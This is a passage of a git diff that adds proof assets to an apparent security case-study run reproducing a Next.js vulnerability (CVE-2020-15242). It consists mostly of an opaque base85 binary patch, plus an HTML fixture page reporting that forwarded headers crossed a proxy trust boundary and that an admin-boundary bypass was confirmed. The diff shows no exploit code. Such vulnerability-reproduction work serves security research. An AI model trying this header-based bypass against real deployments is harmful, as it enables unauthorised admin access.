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 CZa@71 literal 0 HcmV?d00001 diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html new file mode 100644 index 00000000..cc0474ba --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html @@ -0,0 +1,26 @@ + + + + Next.js Proxy Boundary Fixture - proof + + + +
    +

    Next.js Proxy Boundary Fixture

    +

    Middleware trust-boundary fixture with forwarded-header proof.

    +
    Proof active: trusted forwarded headers crossed the boundary
    +

    System: nextjs / Family: proxy-boundary

    +
    Admin boundary bypass confirmed.
    + + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png new file mode 100644 index 0000000000000000000000000000000000000000..f778b4f883ac4210566efa564df50e9a8fe80997 GIT binary patch literal 37208 zcmeFYXH*l>yElp=B7&eGDqW>Xm)=1|Ksti-DiC@vp%YOQ>C!t$uc3$D6e*$i5+IRY z6QmOe;T`_xo_jvt`|(}xy=$@70NFE>nZ4(Eer>`u)fMmErM*i)KyXj#-CHdJ0wUno zo1=Gb0-IM%$~OoI?h`1zef_~FV|S4-U?GyJcYhK+>XqpRmFvS35HLI?AiUms1{087Z%2u4zP#SP 